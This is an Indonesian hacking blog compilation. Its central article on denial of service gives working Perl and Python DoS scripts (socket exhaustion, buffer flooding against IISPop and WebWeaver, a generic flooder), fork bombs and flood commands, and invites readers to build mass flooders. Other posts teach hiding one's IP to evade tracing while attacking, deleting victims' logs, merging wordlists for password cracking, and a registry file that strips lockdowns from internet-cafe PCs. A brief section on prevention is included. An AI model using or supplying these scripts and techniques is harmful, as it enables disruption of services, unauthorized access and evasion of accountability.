- Pada barus start : mov ah,0 sampai baris int 10h, disini kita melakukan interupsi 10h service 0h, yaitu untuk mengganti modus layar, al berisi 3 berarti modusnya adalah teks 80 x 25. Efek yang terjadi adalah layar akan bersih.

- Pada baris mov ah,9 sampai baris int 21h (2 baris dibawahnya), kita melakukan int 21h service 9h, yaitu untuk mencetak sebuah string. Register dx harus berisi alamat dari string yang akan dicetak.

- Pada baris mov ah,1h sampai baris mov kar,al, kita menggunakan int 21h service 01h, yaitu untuk meminta input 1 karakter dan ditampilkan ke layar. Karakter yang diinput akan berada pada register al setelah interupsi dilakukan, maka kita isikan ke variabel kar dengan perintah mov kar,al

- Selanjutnya pada baris mov al,kar dan int 29h, kita menggunakan int 29h yang tidak memiliki service, fungsinya untuk mencetak 1 karakter yang ada pada register al.



note : untuk melihat nomor-nomor service-service yang terdapat pada komputer gunakan program Helppc.

Lanjutan “Pengenalan Bahasa Assembly!!”  »»
| 0 komentar ]

.o0 Kata Pengantar

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of Service atau yang lebih kita kenal dengan DoS. Beberapa pertanyaan yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?

Semuanya untuk anda, ENJOY !!.

.o0 Apa itu Denial of Service (DoS) ?

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu).

Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.


.o0 Motif penyerang melakukan Denial of Service

Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya.

Alasan politik dan ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut 'zombie' dalam jargon.

Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_program argv argc ...


.o0 Denial of Sevice, serangan yang menghabiskan resource.

Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space

Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth

Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables

Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM

Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.

E. Disk

Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD

Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan bekerja.


.o0 Teknik Melakukan Denial of Service

Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga tidak begitu menarik. Kita akan bahas tipe-tipe serangan DoS.

1. SYN-Flooding

SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole' pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service dengan mencegahmenolak cracker untuk mengakses sistem.

2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor yang digunakan yaitu pentium.

3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network). Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP. Varian dari serangan ini disebut "smurfing" (http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms. Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung kepada jenis sistem operasi dan konfigurasi server target (misalmya: blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan) suatu web server, namun tidak tertutup kemungkinan untuk melakukan penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah-pisah.

Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.

Script gs.pl (gantung socket)

#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !

DoS-ing Apache lagi !!

Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

1. Fork Bomb, habiskan RAM

#!/usr/bin/perl
fork while 1;

2. Habiskan CPU

#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i

3. Habiskan Memory

#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }

4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan menyebabkan program dihentikan secara paksa.

Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.

1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS

IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181

Script: iispdos.pl

#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;

print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "110",
Proto=> "tcp") or die;
print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "110",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# END.

2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net

Proof of Concept:

% telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host

wzdftpd crash setelah diberikan perintah/command PORT !

3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : www.brswebweaver.com
BugTraqer : euronymous /F0KP

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{

Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org

Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command SELECT. Dampak dari serangan ini adalah berhentinya server dan harus di-restart secara manual.

Contoh eksploitasi:
--------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
--------[ transcript ]-------

Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'


Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja - membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada komputer esekutor yang memiliki bandwidth lebar.

Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.

Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS. Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

-- udos.pl --

#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto=> "tcp") or die;
print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# End.

-- udos.pl --

Skrip sederhana diatas hanya melakukan hubungan dengan server korban, lalu mengirimkan flood dan melakukan post testing. Dengan sedikit pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force Flooder', tergantung pada kreatifitas anda !


.o0 Penanggulangan serangan Denial of Service

Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau bagaimana mudahnya melakukan input flooding dan membuat tool sendiri. Namun Denial of service adalah masalah layanan publik. Sama halnya dengan anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan 'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban kekanak-kanakan demikian tentu tidak anda harapkan.

1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option untuk menolak cracker untuk mengakses system.

2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak - tidak tertutup kemungkinan untuk melakukan Denial of Service -. Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor atau melakukan up-date.

3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ). Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang admin harus teliti.

Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. Jangan lupa juga menambah RAM.

4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari admin dan user bersangkutan.

Lanjutan “Serangan Denial of Services”  »»
| 4 komentar ]

Hai, ketemu lagi saya! Kali ini saya akan membahas tentang cara
menyembunyikan IP Address saat browsing di Internet dengan menggunakan
bantuan anonymous web proxy. Ini dilakukan agar IP Address asli yang
digunakan tidak diketahui oleh remote web server.
Beberapa alasan mengapa kita harus menyembunyikan IP Address asli antara
lain:
* Mengakses ke website yang melakukan restriction -- hanya membolehkan
akses dari IP Address tertentu saja.
* Privasi.
* Menghindari pelacakan jika kita melakukan tindakan yang 'tidak
seharusnya kita lakukan'. (baca: hacking) :-)

Menggunakan Proxy
Dalam melangsungkan sebuah proses attack, sebaiknya seorang attacker melakukan
beberapa pengamanan. Umumnya yang dilakukan adalah:
* Menghapus log files pada victim
* Menyembunyikan IP Address komputer yang digunakan untuk melangsungkan
attack
* Melakukan modifikasi minimum untuk tidak menarik perhatian pemilik
system seperti tidak menambah user atau membuat direktori yang terlalu
'vulgar'
Penggunaa proxy disesuaikan dengan program yang kita gunakan untuk melakukan
browsing seperti Internet Explorer, Mozilla, Opera, mIRC, dan lain-lain.
Sample: Internet Explorer
1. Jalankan Internet Explorer (IE)
2. Klik Tools
3. Klik Internet Option
4. Klik Connections
5. Klik LAN Settings
6. Aktifkan option 'Use a proxy server'
+-------------------+ +--------+
Address : IP Address : Port : Port :
+-------------------+ +--------+
---| Sample: wget
1. Edit file /etc/wgetrc atau ~/.wgetrc
2. Ubah atau tambahkan baris
http_proxy=http://ip_address_proxy:port/
---| Sample: libwww-perl (LWP)
Pada source code program yang menggunakan bahasa pemrograman Perl dapat
ditambahkan:
$ua->proxy(['http', 'ftp'], 'http://ip_address_proxy:port/');
Cara lain adalah dengan meload proxy setting dari *_proxy environment
variables.
$ua->env_proxy
Untuk mengubah environment variables, dapat dilakukan via command line:
$ export http_proxy=http://ip_address_proxy:port/ (sh/bash/ksh)
% setenv http_proxy 'http://127.0.0.1:8080/' (csh/tcsh)

Proxy testing
Jika semuanya berjalan lancar maka kita dapat melakukan browsing secara
anonymous. Lihat bagian appendix untuk mendapatkan contoh anonymous proxy.
Untuk mengetahui apakah IP Address asli yang kita gunakan sudah tersembunyi
dan digantikan oleh IP Address milik anonymous web proxy, kita dapat
melakukan pengecekan dengan melakukan browsing ke website yang memiliki
fitur browser checker seperti
* www.dedidwianto.or.id
* noc.cbn.net.id
* dan lain-lain

Anonymity

Beberapa istilah yang berkaitan dengan anonymous proxy:
* Anonymous - HTTP proxy server tidak mengirimkan variable
HTTP_X_FORWARDED_FOR kepada remote host, hal diini dilakukan untuk
menyembunyikan IP Address asli kita.
* High anonymity (elite proxy) - HTTP proxy server jenis ini tidak
mengirimkan variable HTTP_X_FORWARDED_FOR, HTTP_VIA dan
HTTP_PROXY_CONNECTION.
Apa yang membedakan anonymous proxy dan elite proxy adalah pengiriman
variable HTTP_* oleh proxy server. Pada anonymous proxy, sangat dimungkinkan
bagi remote host untuk mengetahui IP Address asli yang kita miliki dengan
melihat variable HTTP_VIA dan HTTP_PROXY_CONNECTION.


Appendix: Daftar Anonymous Proxy
Dibawah ini adalah daftar Proxy dan Port yang masih bisa dipakai sampai saat :

. Free HTTP proxies :
+--------------------+------------+
: IP : Port :
+--------------------+------------+
: 200.121.169.218 : 3128 :
: 200.117.229.129 : 3128 :
: 69.243.121.55 : 3382 :
: 155.98.35.3 : 3128 :
: 200.114.158.156 : 3128 :
: 155.98.35.3 : 3127 :
: 200.111.55.10 : 3128 :
: 128.101.191.244 : 3127 :
: 200.108.136.10 : 3128 :
: 200.107.8.158 : 3128 :
+---------------------------------+
. Free Anonymous HTTP proxies:
+--------------------+------------+
: IP : Port :
+--------------------+------------+
: 200.114.158.156 : 3128 :
: 205.150.199.114 : 8080 :
: 82.112.196.50 : 8080 :
+---------------------------------+
. Free 100% Elite Anonymous HTTP proxies :
+--------------------+------------+
: IP : Port :
+--------------------+------------+
: 69.243.121.55 : 3382 :
: 155.98.35.3 : 3128 :
: 155.98.35.3 : 3127 :
+---------------------------------+
. Free HTTPS Proxy :
+--------------------+------------+
: IP : Port :
+--------------------+------------+
: 200.206.142.86 : 6588 :
: 69.243.121.55 : 3382 :
+---------------------------------+
. Free SOCKS 4 proxy :
+--------------------+------------+
: IP : Port :
+--------------------+------------+
: 200.109.36.36 : 1080 :
: 200.105.242.142 : 1080 :
: 200.104.32.27 : 1080 :
: 70.185.79.234 : 18844 :
: 70.185.79.234 : 18844 :
+---------------------------------+
. Free SOCKS 5 proxy :
+--------------------+------------+
: IP : Port :
+--------------------+------------+
: 200.109.36.36 : 1080 :
: 200.105.242.142 : 1080 :
: 200.104.32.27 : 1080 :
: 70.185.79.234 : 18844 :
: 70.185.79.234 : 18844 :
+---------------------------------+

Selamat Mencoba!!!

Lanjutan “Menyembunyikan IP Address Saat Browsing”  »»
| 0 komentar ]

adakalanya kita harus menggunakan beberapa dictionary files saat ngecrack
password. baik itu pasword unix dengan menggunakan John the Ripper,
Cracker Jack atau yang lain; maupun nge-crack password FTP, web
atau yang lain menggunakan Brutus (atau yang lain ^_^).
jika kita mempunyai beberapa dictionary files, tentu sedikit merepotkan
jika harus mengulang-ulang saat melakukan proses cracking, bukan?
misalnya jika kita mempunyai file kamus1.txt dan kamus2.txt dan akan
ngecrack password unix menggunakan John the Ripper versi DOS maka kita
harus menuliskan perintah dua kali:

C:\WINDOWS\JOHN>JOHN W:KAMUS1.TXT PASSWORD.TXT
setelah perintah di atas dijalankan dan gagal atau belum semua password
bisa di crack, kita harus mengulanginya dengan dictionary files yang
kedua:

C:\WINDOWS\JOHN>JOHN W:KAMUS2.TXT PASSWORD.TXT

kalau pas kita ada waktu nggak masalah, tapi kalau sampai harus kita
tinggal bobo dulu, dan bangun lagi hanya untuk mengganti dictionary
files? >_<
cara menggabungkan dua dictionary files yang saya maksud adalah menggunakan
DOS. menggunakan linux sebenarnya hampr sama, tapi karena saya
lom tau banyak tentang linux dan ntar malahan salah, maka saya jelasin
yang pake DOS aja ^_^
kenapa pake DOS, bukan yang under Win sekalian? a.k.a notepad, wordpad,
editplus, dll.? dengan metode copy-paste, mesin dengan kemampuan rendah
kayak mesin saya IBM PII 266 64MB [win 98], copy-paste text sebesar 2MB
lebih, ngos-ngosan. bahkan sering hang di tengah jalan.
sebelumnya, taruh semua dictionary files di folder yang sama, biar lebih
mudah. contoh, semua dictionary files (kamus1.txt, kamus 2.txt, kamus3.
txt) ada di folder/direktori c:\kamus

buka command prompt:
C:\WINDOWS>
masuk ke direktori c:\kamus:
C:\WINDOWS>CD C:\KAMUS [jangan lupa tekan enter]
tulis command berikut:
C:\KAMUS>TYPE KAMUS1.TXT >> KAMUSBARU.TXT
maka isi file kamus1.txt akan disalin ke file kamusbaru.txt.
ulangi dengan dictionary files kedua:
C:\KAMUS>TYPE KAMUS2.TXT >> KAMUSBARU.TXT
ulangi juga dengan kamus ketiga:
C:\KAMUS>TYPE KAMUS3.TXT >> KAMUSBARU.TXT
finish!
nah, isi dari semua file kamus*.txt sudah masuk kedalam file kamusbaru.
txt. dengan demikian, saat kita ngecrack akan lebih praktis karena gak
harus mengganti dictionary files dulu ^_^
eh iya, jangan lupa pada command yang ditulis, tanda " > " harus dobel
">>". sebab jika hanya satu " > ", maka perintah itu sama dengan overwrite
file yang ada. jadi hanya file terakhir yang akan tersalin di
file kamusbaru.txt
***
kalo linux MUNGKIN kayak gini:
cat kamus1.txt >> kamusbaru.txt
cat kamus2.txt >> kamusbaru.txt
cat kamus3.txt >> kamusbaru.txt

Lanjutan “MENGGABUNGKAN BEBERAPA DICTIONARY FILES”  »»
| 0 komentar ]

Pernahkah suatu saat anda berkunjung ke "cyber cafe" a.k.a warnet
dan anda merasa kerepotan dengan berbagai 'restrict' yang diberlakukan
+disini aku sedikit coba mengulas, apa saja yang dapat anda lakukan
jika anda berada di posisi pemakai dan yang harus anda perhatikan jika
anda berada pada posisi penyedia layanan :PO .
Seperti yang sudah dijelaskan oleh y3d1ps pada ezine 3 tentang tips&trick
windows 98 , saya akan menhasil sedikit trick yang dapat digunakan pada
windows98/95 ,sedikit kita iseng di warnet karena keterbatasan fasilitas.
Bt banget warnet yang semuanya serba dibatasi maka dengan ini mungkin bisa
membantu .

-=Siapkan notepad nya :डी

cut here ---------

Regedit4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\System]
"DisableRegistryTools"=dword:00000000
[HKEY_LOCAL_MACHINE\Software\ResearchMachines\NOATTRIB.VXD]
"loadvxd"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\Explorer]
"NoDrives"=dword:00000000
"LinkResolveIgnoreLinkInfo"=dword:00000000
"NoFolderOptions"=dword:00000000
"ClearRecentDocsOnExit"=dword:00000000
"NoTrayContextMenu"=dword:00000000
"EnforceShellExtensionSecurity"=dword:00000000
"NoPrinterTabs"=dword:00000000
"NoDeletePrinter"=dword:00000000
"NoAddPrinter"=dword:00000000
"NoRun"=dword:00000000
"NoSetFolders"=dword:00000000
"NoSetTaskbar"=dword:00000000
"NoClose"=dword:00000000
"NoViewContextMenu"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\System]
"DisableRegistryTools"=dword:00000000
"NoDispScrSavPage"=dword:00000000
"NoDispAppearancePage"=dword:00000000
"NoDispSettingsPage"=dword:00000000
"NoAdminPage"=dword:00000000
"NoProfilePage"=dword:00000000
"NoDevMgrPage"=dword:00000000
"NoConfigPage"=dword:0000000
"NoFileSysPage"=dword:00000000
"NoDispCPL"=dword:00000000
"NoDispBackgroundPage"=dword:00000000
"NoVirtMemPage"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\Network]
"NoFileSharingControl"=dword:00000000
"NoPrintSharingControl"=dword:00000000
"NoNetSetup"=dword:00000000
"NoNetSetupIDPage"=dword:00000000
"NoNetSetupSecurityPage"=dword:00000000
"NoEntireNetwork"=dword:00000000
"NoWorkgroupContents"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\WinOldApp]
"NoRealMode"=dword:00000000
"Disable"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Polici
es\ActiveDesktop]
"NoHTMLWallPaper"=dword:00000000
"NoChangingWallPaper"=dword:00000000
"NoCloseDragDropBands"=dword:00000000
"NoMovingBands"=dword:00000000
"NoAddingComponents"=dword:00000000
"NoDeletingComponents"=dword:00000000
"NoEditingComponents"=dword:00000000
"NoClosingComponents"=dword:००००००००

end-----

Aku harap kalian semua ngerti dari perintah diatas , kalau udah paste di notepage
lalu save as aja aja asal extentionnya .reg atau default.reg aja deh .
Kalau udah klik kanan file default.reg tadi dan klik merge ,
Terus restart coba komputernya dan rasakan perbedaanya dan semua registry
sudah
kebuka lagi dan kita bisa bebas lagi nich :d wakkakaaaakkk
Ooppss tunggu ada yang ga bisa ya , tanang kalau ga bisa juga dengan cara
normal
coba masuk ke safe mode windows dengan menekan F8 pada saat seletah
komputer
melakukan posting memory.disana ada pilihan untuk masuk ke windows mau
safemode atau
yang lain pilih safe mode deh . dan coba dari safe mode di merge,
Ga bisa lagi ya wah payah deh mau diapaiin lg donk ,,,heeehee tenang masih ada
cara
lain.
Masuk ke dos command ,kalau udah masuk ketikan perintah ini :
o ya tadi file default.reg nya ditaruh dimana ?mis di c:\data
C:\>cd data
C:\data>copy *.datc:\windows
C:\data>md *.dat C:\backup
C:\data>cd..
C:\>cd backup
C:\backup>copy user.dat user.da0
C:\backup>copy user.dat user.da1
C:\backup>copy system.dat system.da0
C:\backup>copy system.dat system.da1
C:\backup>copy *.da0 c:\windows
C:\backup>cd..
